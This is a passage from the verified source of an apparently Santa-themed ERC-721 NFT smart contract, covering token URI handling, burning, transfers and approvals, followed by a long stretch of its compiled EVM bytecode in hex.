_toString(tokenId),
'","description": "From: Santa, To: You",',
'"image": "',
uri, '"}'
)
)
)
)
)
));
}
function setTokenURI(uint index, string memory hash) public onlyOwner {
_tokenUris[index] = hash;
}
function contractURI() public view returns (string memory) {
return string(abi.encodePacked(baseURI, rootURI, "contract"));
}
function changeRootURI(string memory rootURI_) public onlyOwner {
rootURI = rootURI_;
}
function changeBaseURI(string memory baseURI_) public onlyOwner {
baseURI = baseURI_;
}
function _toString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
function _exists(uint256 tokenId) internal view returns (bool) {
if (tokenId < allocation && !_burned[tokenId]) {
return true;
}
return _owners[tokenId] != address(0);
}
function _burn(uint256 tokenId) internal {
address owner_ = ownerOf(tokenId);
_approve(address(0), tokenId);
if (_balances[owner_] > 0) {
_balances[owner_] -= 1;
}
delete _owners[tokenId];
_burned[tokenId] = true;
emit Transfer(owner_, address(0), tokenId);
if (tokenId < allocation) {}
}
mapping(uint256 => address) internal _owners;
mapping(address => uint256) internal _balances;
mapping(uint256 => address) internal _tokenApprovals;
mapping(address => mapping(address => bool)) internal _operatorApprovals;
function supportsInterface(bytes4 interfaceId)
public
view
virtual
override
returns (bool)
{
return
interfaceId == type(IERC721).interfaceId ||
interfaceId == type(IERC721Metadata).interfaceId ||
interfaceId == type(IERC165).interfaceId;
}
function approve(address to, uint256 tokenId) public virtual override {
address owner = ownerOf(tokenId);
require(to != owner, "ERC721: approval to current owner");
require(
msg.sender == owner || isApprovedForAll(owner, msg.sender),
"ERC721: approve caller is not owner nor approved for all"
);
_approve(to, tokenId);
}
function getApproved(uint256 tokenId)
public
view
virtual
override
returns (address)
{
require(
_exists(tokenId),
"ERC721: approved query for nonexistent token"
);
return _tokenApprovals[tokenId];
}
function setApprovalForAll(address approver, bool approved)
public
virtual
override
{
require(approver != msg.sender, "ERC721: approve to caller");
_operatorApprovals[msg.sender][approver] = approved;
emit ApprovalForAll(msg.sender, approver, approved);
}
function isApprovedForAll(address owner, address operator_)
public
view
virtual
override
returns (bool)
{
return _operatorApprovals[owner][operator_];
}
function transferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
//solhint-disable-next-line max-line-length
require(
_isApprovedOrOwner(msg.sender, tokenId),
"ERC721: transfer caller is not owner nor approved"
);
_transfer(from, to, tokenId);
}
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
safeTransferFrom(from, to, tokenId, "");
}
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory _data
) public virtual override {
require(
_isApprovedOrOwner(msg.sender, tokenId),
"ERC721: transfer caller is not owner nor approved"
);
_safeTransfer(from, to, tokenId, _data);
}
function _safeTransfer(
address from,
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_transfer(from, to, tokenId);
require(
_checkOnERC721Received(from, to, tokenId, _data),
"ERC721: transfer to non ERC721Receiver implementer"
);
}
function _isApprovedOrOwner(address spender, uint256 tokenId)
internal
view
virtual
returns (bool)
{
require(
_exists(tokenId),
"ERC721: operator query for nonexistent token"
);
address owner = ownerOf(tokenId);
return (spender == owner ||
getApproved(tokenId) == spender ||
isApprovedForAll(owner, spender));
}
function _safeMint(address to, uint256 tokenId) internal virtual {
_safeMint(to, tokenId, "");
}
function _safeMint(
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_mint(to, tokenId);
require(
_checkOnERC721Received(address(0), to, tokenId, _data),
"ERC721: transfer to non ERC721Receiver implementer"
);
}
function _mint(address to, uint256 tokenId) internal virtual {
require(to != address(0), "ERC721: mint to the zero address");
require(!_exists(tokenId), "ERC721: token already minted");
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(address(0), to, tokenId);
}
function _transfer(
address from,
address to,
uint256 tokenId
) internal virtual {
require(
ownerOf(tokenId) == from,
"ERC721: transfer of token that is not own"
);
require(
to != address(0),
"ERC721: transfer to the zero address (use burn instead)"
);
_approve(address(0), tokenId);
if (_balances[from] > 0) {
_balances[from] -= 1;
}
_owners[tokenId] = to;
if (from == operator && tokenId < allocation) {
allocationsTransferred += 1;
_balances[to] += 1;
} else if (to == operator && tokenId < allocation) {
allocationsTransferred -= 1;
} else {
_balances[to] += 1;
}
emit Transfer(from, to, tokenId);
}
function _approve(address to, uint256 tokenId) internal virtual {
_tokenApprovals[tokenId] = to;
emit Approval(ownerOf(tokenId), to, tokenId);
}
function _checkOnERC721Received(
address from,
address to,
uint256 tokenId,
bytes memory _data
) private returns (bool) {
if (isContract(to)) {
try
IERC721Receiver(to).onERC721Received(
msg.sender,
from,
tokenId,
_data
)
returns (bytes4 retval) {
return retval == IERC721Receiver(to).onERC721Received.selector;
} catch (bytes memory reason) {
if (reason.length == 0) {
revert(
"ERC721: transfer to non ERC721Receiver implementer"
);
} else {
// solhint-disable-next-line no-inline-assembly
assembly {
revert(add(32, reason), mload(reason))
}
}
}
} else {
return true;
}
}
function isContract(address account) internal view returns (bool) {
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly {
size := extcodesize(account)
}
return size > 0;
}
} | 0x6080604052600436106101f95760003560e01c806370a082311161010d578063a22cb465116100a0578063e091a73f1161006f578063e091a73f146106da578063e8a3d48514610705578063e985e9c514610730578063ed459df21461076d578063f2fde38b14610798576101f9565b8063a22cb46514610634578063a475b5dd1461065d578063b88d4fde14610674578063c87b56dd1461069d576101f9565b80638da5cb5b116100dc5780638da5cb5b146105885780638f32d59b146105b357806395d89b41146105de578063a035b1fe14610609576101f9565b806370a08231146104f2578063715018a61461052f57806379ba50971461054657806388a17bde1461055d576101f9565b806325b31a9711610190578063518302271161015f578063518302271461040b578063570ca73514610436578063614892c4146104615780636352211e1461048a5780636c0360eb146104c7576101f9565b806325b31a971461036057806339a0c6f91461039057806342842e0e146103b957806342966c68146103e2576101f9565b8063162094c4116101cc578063162094c4146102cc57806317fc45e2146102f557806323452b9c1461032057806323b872dd14610337576101f9565b806301ffc9a7146101fe57806306fdde031461023b578063081812fc14610266578063095ea7b3146102a3575b600080fd5b34801561020a57600080fd5b5061022560048036038101906102209190612e87565b6107c1565b60405161023291906135a7565b60405180910390f35b34801561024757600080fd5b506102506108fb565b60405161025d91906135c2565b60405180910390f35b34801561027257600080fd5b5061028d60048036038101906102889190612f2a565b610989565b60405161029a9190613540565b60405180910390f35b3480156102af57600080fd5b506102ca60048036038101906102c59190612e47565b610a0e565b005b3480156102d857600080fd5b506102f360048036038101906102ee9190612f57565b610b18565b005b34801561030157600080fd5b5061030a610b8b565b6040516103179190613824565b60405180910390f35b34801561032c57600080fd5b50610335610baf565b005b34801561034357600080fd5b5061035e60048036038101906103599190612d31565b610c1d565b005b61037a60048036038101906103759190612cc4565b610c76565b6040516103879190613824565b60405180910390f35b34801561039c57600080fd5b506103b760048036038101906103b29190612ee1565b610da5565b005b3480156103c557600080fd5b506103e060048036038101906103db9190612d31565b610e06565b005b3480156103ee57600080fd5b5061040960048036038101906104049190612f2a565b610e26565b005b34801561041757600080fd5b50610420610e7b565b60405161042d91906135a7565b60405180910390f35b34801561044257600080fd5b5061044b610e8e565b6040516104589190613540565b60405180910390f35b34801561046d57600080fd5b5061048860048036038101906104839190612ee1565b610eb2565b005b34801561049657600080fd5b506104b160048036038101906104ac9190612f2a565b610f13565b6040516104be9190613540565b60405180910390f35b3480156104d357600080fd5b506104dc6110ab565b6040516104e991906135c2565b60405180910390f35b3480156104fe57600080fd5b5061051960048036038101906105149190612cc4565b611139565b6040516105269190613824565b60405180910390f35b34801561053b57600080fd5b506105446112c6565b005b34801561055257600080fd5b5061055b6113cb565b005b34801561056957600080fd5b506105726114f3565b60405161057f9190613824565b60405180910390f35b34801561059457600080fd5b5061059d611517565b6040516105aa9190613540565b60405180910390f35b3480156105bf57600080fd5b506105c861153b565b6040516105d591906135a7565b60405180910390f35b3480156105ea57600080fd5b506105f3611592565b60405161060091906135c2565b60405180910390f35b34801561061557600080fd5b5061061e611620565b60405161062b9190613824565b60405180910390f35b34801561064057600080fd5b5061065b60048036038101906106569190612e07565b611644565b005b34801561066957600080fd5b506106726117b0565b005b34801561068057600080fd5b5061069b60048036038101906106969190612d84565b611814565b005b3480156106a957600080fd5b506106c460048036038101906106bf9190612f2a565b61186f565b6040516106d191906135c2565b60405180910390f35b3480156106e657600080fd5b506106ef611969565b6040516106fc91906135c2565b60405180910390f35b34801561071157600080fd5b5061071a6119f7565b60405161072791906135c2565b60405180910390f35b34801561073c57600080fd5b5061075760048036038101906107529190612cf1565b611a22565b60405161076491906135a7565b60405180910390f35b34801561077957600080fd5b50610782611ab6565b60405161078f91906135a7565b60405180910390f35b3480156107a457600080fd5b506107bf60048036038101906107ba9190612cc4565b611b0e565b005b60007f80ac58cd000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916148061088c57507f5b5e139f000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916145b806108f457507f01ffc9a7000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916145b9050919050565b6003805461090890613b20565b80601f016020809104026020016040519081016040528092919081815260200182805461093490613b20565b80156109815780601f1061095657610100808354040283529160200191610981565b820191906000526020600020905b81548152906001019060200180831161096457829003601f168201915b505050505081565b600061099482611c09565b6109d3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109ca90613764565b60405180910390fd5b600f600083815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050919050565b6000610a1982610f13565b90508073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610a8a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a81906137a4565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161480610aca5750610ac98133611a22565b5b610b09576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b00906136e4565b60405180910390fd5b610b138383611cd2565b505050565b610b2061153b565b610b5f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b5690613644565b60405180910390fd5b80600c60008481526020019081526020016000209080519060200190610b86929190612ad8565b505050565b7f00000000000000000000000000000000000000000000000000000000000006d681565b610bb761153b565b610bf6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bed90613644565b60405180910390fd5b600160006101000a81549073ffffffffffffffffffffffffffffffffffffffff0219169055565b610c273382611d8b565b610c66576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c5d906137c4565b60405180910390fd5b610c71838383611e69565b505050565b60007f00000000000000000000000000000000000000000000000000b1a2bc2ec50000341015610cdb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cd290613804565b60405180910390fd5b600854905060086000815480929190610cf390613b83565b91905055507f00000000000000000000000000000000000000000000000000000000000006d68110610d5a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d5190613604565b60405180910390fd5b610d648282612298565b807fe499b794fc4f07362a6fc6f02b950224cab3fcc36cd9d8cd9463d6241cc34755343385604051610d989392919061383f565b60405180910390a2919050565b610dad61153b565b610dec576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610de390613644565b60405180910390fd5b8060059080519060200190610e02929190612ad8565b5050565b610e2183838360405180602001604052806000815250611814565b505050565b610e303382611d8b565b610e6f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e66906137c4565b60405180910390fd5b610e788161245a565b50565b600a60009054906101000a900460ff1681565b7f000000000000000000000000db578c28c9bb39220179a2d9bac8e147b79aca9581565b610eba61153b565b610ef9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ef090613644565b60405180910390fd5b8060079080519060200190610f0f929190612ad8565b5050565b60008073ffffffffffffffffffffffffffffffffffffffff16600d600084815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16148015610fa257507f00000000000000000000000000000000000000000000000000000000000006d682105b8015610fcc5750600b600083815260200190815260200160002060009054906101000a900460ff16155b15610ff9577f000000000000000000000000db578c28c9bb39220179a2d9bac8e147b79aca9590506110a6565b6000600d600084815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156110a1576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161109890613724565b60405180910390fd5b809150505b919050565b600580546110b890613b20565b80601f01602080910402602001604051908101604052809291908181526020018280546110e490613b20565b80156111315780601f1061110657610100808354040283529160200191611131565b820191906000526020600020905b81548152906001019060200180831161111457829003601f168201915b505050505081565b60007f000000000000000000000000db578c28c9bb39220179a2d9bac8e147b79aca9573ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561120e576009547f00000000000000000000000000000000000000000000000000000000000006d6600e60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546111fd9190613955565b6112079190613a36565b90506112c1565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561127e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161127590613704565b60405180910390fd5b600e60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490505b919050565b6112ce61153b565b61130d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161130490613644565b60405180910390fd5b60008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3565b6113d3611ab6565b611412576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611409906135e4565b60405180910390fd5b600160006101000a81549073ffffffffffffffffffffffffffffffffffffffff0219169055336000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055503373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3565b7f00000000000000000000000000000000000000000000000000000000000006d681565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614905090565b6004805461159f90613b20565b80601f01602080910402602001604051908101604052809291908181526020018280546115cb90613b20565b80156116185780601f106115ed57610100808354040283529160200191611618565b820191906000526020600020905b8154815290600101906020018083116115fb57829003601f168201915b505050505081565b7f00000000000000000000000000000000000000000000000000b1a2bc2ec5000081565b3373ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156116b3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116aa906136a4565b60405180910390fd5b80601060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508173ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c31836040516117a491906135a7565b60405180910390a35050565b6117b861153b565b6117f7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117ee90613644565b60405180910390fd5b6001600a60006101000a81548160ff021916908315150217905550565b61181e3383611d8b565b61185d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611854906137c4565b60405180910390fd5b611869848484846125f6565b50505050565b60607f00000000000000000000000000000000000000000000000000000000000006d682111561189e57600080fd5b6060600a60009054906101000a900460ff166118df57600560066040516020016118c992919061344a565b6040516020818303038152906040529050611910565b600560076118ec85612652565b6040516020016118fe9392919061346e565b60405160208183030381529060405290505b61194261191c84612652565b8260405160200161192e9291906134f0565b6040516020818303038152906040526127b3565b60405160200161195291906134ce565b604051602081830303815290604052915050919050565b6007805461197690613b20565b80601f01602080910402602001604051908101604052809291908181526020018280546119a290613b20565b80156119ef5780601f106119c4576101008083540402835291602001916119ef565b820191906000526020600020905b8154815290600101906020018083116119d257829003601f168201915b505050505081565b606060056007604051602001611a0e92919061349f565b604051602081830303815290604052905090565b6000601060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16905092915050565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614905090565b611b1661153b565b611b55576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b4c90613644565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611bc5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611bbc90613624565b60405180910390fd5b80600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60007f00000000000000000000000000000000000000000000000000000000000006d682108015611c585750600b600083815260200190815260200160002060009054906101000a900460ff16155b15611c665760019050611ccd565b600073ffffffffffffffffffffffffffffffffffffffff16600d600084815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16141590505b919050565b81600f600083815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550808273ffffffffffffffffffffffffffffffffffffffff16611d4583610f13565b73ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560405160405180910390a45050565b6000611d9682611c09565b611dd5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611dcc906136c4565b60405180910390fd5b6000611de083610f13565b90508073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480611e4f57508373ffffffffffffffffffffffffffffffffffffffff16611e3784610989565b73ffffffffffffffffffffffffffffffffffffffff16145b80611e605750611e5f8185611a22565b5b91505092915050565b8273ffffffffffffffffffffffffffffffffffffffff16611e8982610f13565b73ffffffffffffffffffffffffffffffffffffffff1614611edf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ed690613784565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611f4f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f46906137e4565b60405180910390fd5b611f5a600082611cd2565b6000600e60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541115611ffa576001600e60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254611ff29190613a36565b925050819055505b81600d600083815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055507f000000000000000000000000db578c28c9bb39220179a2d9bac8e147b79aca9573ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156120c657507f00000000000000000000000000000000000000000000000000000000000006d681105b15612141576001600960008282546120de9190613955565b925050819055506001600e60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546121359190613955565b92505081905550612238565b7f000000000000000000000000db578c28c9bb39220179a2d9bac8e147b79aca9573ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161480156121bb57507f00000000000000000000000000000000000000000000000000000000000006d681105b156121df576001600960008282546121d39190613a36565b92505081905550612237565b6001600e60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461222f9190613955565b925050819055505b5b808273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60405160405180910390a4505050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415612308576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122ff90613744565b60405180910390fd5b61231181611c09565b15612351576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161234890613684565b60405180910390fd5b6001600e60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546123a19190613955565b9250508190555081600d600083815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550808273ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60405160405180910390a45050565b600061246582610f13565b9050612472600083611cd2565b6000600e60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541115612512576001600e60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461250a9190613a36565b925050819055505b600d600083815260200190815260200160002060006101000a81549073ffffffffffffffffffffffffffffffffffffffff02191690556001600b600084815260200190815260200160002060006101000a81548160ff02191690831515021790555081600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60405160405180910390a47f00000000000000000000000000000000000000000000000000000000000006d6505050565b612601848484611e69565b61260d8484848461294b565b61264c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161264390613664565b60405180910390fd5b50505050565b6060600082141561269a576040518060400160405280600181526020017f300000000000000000000000000000000000000000000000000000000000000081525090506127ae565b600082905060005b600082146126cc5780806126b590613b83565b915050600a826126c591906139ab565b91506126a2565b60008167ffffffffffffffff8111156126e8576126e7613cb9565b5b6040519080825280601f01601f19166020018201604052801561271a5781602001600182028036833780820191505090505b5090505b600085146127a7576001826127339190613a36565b9150600a856127429190613bcc565b603061274e9190613955565b60f81b81838151811061276457612763613c8a565b5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a905350600a856127a091906139ab565b945061271e565b8093505050505b919050565b606060008251905060008114156127dc5760405180602001604052806000815250915050612946565b600060036002836127ed9190613955565b6127f791906139ab565b600461280391906139dc565b905060006020826128149190613955565b67ffffffffffffffff81111561282d5761282c613cb9565b5b6040519080825280601f01601f19166020018201604052801561285f5781602001600182028036833780820191505090505b5090506000604051806060016040528060408152602001614330604091399050600181016020830160005b868110156129035760038101905062ffffff818a015116603f8160121c168401518060081b905060ff603f83600c1c1686015116810190508060081b905060ff603f8360061c1686015116810190508060081b905060ff603f831686015116810190508060e01b9050808452600484019350505061288a565b50600386066001811461291d576002811461292d57612938565b613d3d60f01b6002830352612938565b603d60f81b60018303525b508484525050819450505050505b919050565b600061295684612ac5565b15612ab8578373ffffffffffffffffffffffffffffffffffffffff1663150b7a02338786866040518563ffffffff1660e01b815260040161299a949392919061355b565b602060405180830381600087803b1580156129b457600080fd5b505af19250505080156129e557506040513d601f19601f820116820180604052508101906129e29190612eb4565b60015b612a68573d8060008114612a15576040519150601f19603f3d011682016040523d82523d6000602084013e612a1a565b606091505b50600081511415612a60576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612a5790613664565b60405180910390fd5b805181602001fd5b63150b7a0260e01b7bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916817bffffffffffffffffffffffffffffffffffffffffffffffffffffffff191614915050612abd565b600190505b949350505050565b600080823b905060008111915050919050565b828054612ae490613b20565b90600052602060002090601f016020900481019282612b065760008555612b4d565b82601f10612b1f57805160ff1916838001178555612b4d565b82800160010185558215612b4d579182015b82811115612b4c578251825591602001919060010190612b31565b5b509050612b5a9190612b5e565b5090565b5b80821115612b77576000816000905550600101612b5f565b5090565b6000612b8e612b898461389b565b613876565b905082815260208101848484011115612baa57612ba9613ced565b5b612bb5848285613ade565b509392505050565b6000612bd0612bcb846138cc565b613876565b905082815260208101848484011115612bec57612beb613ced565b5b612bf7848285613ade565b509392505050565b600081359050612c0e816142d3565b92915050565b600081359050612c23816142ea565b92915050565b600081359050612c3881614301565b92915050565b600081519050612c4d81614301565b92915050565b600082601f830112612c6857612c67613ce8565b5b8135612c78848260208601612b7b565b91505092915050565b600082601f830112612c9657612c95613ce8565b5b8135612ca6848260208601612bbd565b91505092915050565b600081359050612cbe81614318565b92915050565b600060208284031215612cda57612cd9613cf7565b5b6000612ce884828501612bff565b91505092915050565b60008060408385031215612d0857612d07613cf7565b5b6000612d1685828601612bff565b9250506020612d2785828601612bff565b9150509250929050565b600080600060608486031215612d4a57612d49613cf7565b5b6000612d5886828701612bff565b9350506020612d6986828701612bff565b9250506040612d7a86828701612caf565b9150509250925092565b60008060008060808587031215612d9e57612d9d613cf7565b5b6000612dac87828801612bff565b9450506020612dbd87828801612bff565b9350506040612dce87828801612caf565b925050606085013567ffffffffffffffff811115612def57612dee613cf2565b5b612dfb87828801612c53565b91505092959194509250565b60008060408385031215612e1e57612e1d613cf7565b5b6000612e2c85828601612bff565b9250506020612e3d85828601612c14565b9150509250929050565b60008060408385031215612e5e57612e5d613cf7565b5b6000612e6c85828601612bff565b9250506020612e7d85828601612caf565b9150509250929050565b600060208284031215612e9d57612e9c613cf7565b5b6000612eab84828501612c29565b91505092915050565b600060208284031215612eca57612ec9613cf7565b5b6000612ed884828501612c3e565b91505092915050565b600060208284031215612ef757612ef6613cf7565b5b600082013567ffffffffffffffff811115612f1557612f14613cf2565b5b612f2184828501612c81565b91505092915050565b600060208284031215612f4057612f3f613cf7565b5b6000612f4e84828501612caf565b91505092915050565b60008060408385031215612f6e57612f6d613cf7565b5b6000612f7c85828601612caf565b925050602083013567ffffffffffffffff811115612f9d57612f9c613cf2565b5b612fa985828601612c81565b9150509250929050565b612fbc81613a6a565b82525050565b612fcb81613a7c565b82525050565b6000612fdc82613912565b612fe68185613928565b9350612ff6818560208601613aed565b612fff81613cfc565b840191505092915050565b60006130158261391d565b61301f8185613939565b935061302f818560208601613aed565b61303881613cfc565b840191505092915050565b600061304e8261391d565b613058818561394a565b9350613068818560208601613aed565b80840191505092915050565b6000815461308181613b20565b61308b818661394a565b945060018216600081146130a657600181146130b7576130ea565b60ff198316865281860193506130ea565b6130c0856138fd565b60005b838110156130e2578154818901526001820191506020810190506130c3565b838801955050505b50505092915050565b6000613100602c83613939565b915061310b82613d0d565b604082019050919050565b6000613123601683613939565b915061312e82613d5c565b602082019050919050565b6000613146601f83613939565b915061315182613d85565b602082019050919050565b6000613169601883613939565b915061317482613dae565b602082019050919050565b600061318c603283613939565b915061319782613dd7565b604082019050919050565b60006131af601c83613939565b91506131ba82613e26565b602082019050919050565b60006131d2601983613939565b91506131dd82613e4f565b602082019050919050565b60006131f5602c83613939565b915061320082613e78565b604082019050919050565b6000613218603883613939565b915061322382613ec7565b604082019050919050565b600061323b602a83613939565b915061324682613f16565b604082019050919050565b600061325e602983613939565b915061326982613f65565b604082019050919050565b600061328160088361394a565b915061328c82613fb4565b600882019050919050565b60006132a460028361394a565b91506132af82613fdd565b600282019050919050565b60006132c7602083613939565b91506132d282614006565b602082019050919050565b60006132ea602c83613939565b91506132f58261402f565b604082019050919050565b600061330d602983613939565b91506133188261407e565b604082019050919050565b6000613330602183613939565b915061333b826140cd565b604082019050919050565b6000613353601d8361394a565b915061335e8261411c565b601d82019050919050565b6000613376603183613939565b915061338182614145565b604082019050919050565b6000613399603783613939565b91506133a482614194565b604082019050919050565b60006133bc600a8361394a565b91506133c7826141e3565b600a82019050919050565b60006133df60228361394a565b91506133ea8261420c565b602282019050919050565b600061340260288361394a565b915061340d8261425b565b602882019050919050565b6000613425601783613939565b9150613430826142aa565b602082019050919050565b61344481613ad4565b82525050565b60006134568285613074565b91506134628284613074565b91508190509392505050565b600061347a8286613074565b91506134868285613074565b91506134928284613043565b9150819050949350505050565b60006134ab8285613074565b91506134b78284613074565b91506134c282613274565b91508190509392505050565b60006134d982613346565b91506134e58284613043565b915081905092915050565b60006134fb826133d2565b91506135078285613043565b9150613512826133f5565b915061351d826133af565b91506135298284613043565b915061353482613297565b91508190509392505050565b60006020820190506135556000830184612fb3565b92915050565b60006080820190506135706000830187612fb3565b61357d6020830186612fb3565b61358a604083018561343b565b818103606083015261359c8184612fd1565b905095945050505050565b60006020820190506135bc6000830184612fc2565b92915050565b600060208201905081810360008301526135dc818461300a565b905092915050565b600060208201905081810360008301526135fd816130f3565b9050919050565b6000602082019050818103600083015261361d81613116565b9050919050565b60006020820190508181036000830